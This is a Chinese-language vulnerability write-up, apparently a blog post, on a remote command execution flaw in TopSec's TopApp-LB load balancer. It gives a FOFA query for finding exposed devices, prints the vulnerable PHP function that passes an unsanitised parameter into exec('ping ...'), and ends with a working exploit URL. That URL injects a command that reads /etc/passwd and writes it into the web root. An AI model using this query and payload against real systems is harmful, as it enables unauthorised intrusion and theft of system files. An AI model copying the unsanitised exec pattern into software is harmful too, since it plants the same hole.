天融信负载均衡TopApp-LB enable_tool_debug.php 远程命令执行漏洞

# 天融信负载均衡TopApp-LB enable_tool_debug.php 远程命令执行漏洞

## 漏洞描述

天融信 TopSec-LB enable_tool_debug.php文件存在 远程命令执行漏洞,通过命令拼接攻击者可以执行任意命令

## 漏洞影响

> [!NOTE]
>
> 天融信 TopSec-LB

## FOFA

> [!NOTE]
>
> app=”天融信-TopApp-LB-负载均衡系统”

## 漏洞复现

登录页面如下

漏洞文件为 **enable_tool_debug.php**

“`php

“`

**commandWrapper.inc** 文件中的 **runTool**

“`php
function runTool($val,$tool,$par){
if($val==”0″){
UciUtil::setValue(‘system’, ‘runtool’, ‘tool’, $tool);
UciUtil::setValue(‘system’, ‘runtool’, ‘parameter’, $par);
UciUtil::commit(‘system’);
if($tool==”1″){
exec(‘ping ‘.$par.’>/tmp/tool_result &’);
}else if($tool==”2″){
exec(‘traceroute ‘.$par.’>/tmp/tool_result &’);
}
}else if($val==”1″){
$tool=UciUtil::getValue(‘system’, ‘runtool’, ‘tool’);
if($tool==”1″){
exec(‘killall ping ‘);
}else if($tool==”2″){
exec(‘killall traceroute ‘);
}
UciUtil::setValue(‘system’, ‘runtool’, ‘tool’, ”);
UciUtil::setValue(‘system’, ‘runtool’, ‘parameter’, ”);
UciUtil::commit(‘system’);
exec(‘echo “”>/tmp/tool_result’);
}

}
“`

这里设置 var=0,tool=1,再进行命令拼接造成远程命令执行

“`
/acc/tools/enable_tool_debug.php?val=0&tool=1&par=127.0.0.1′ | cat /etc/passwd > ../../test.txt |’
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容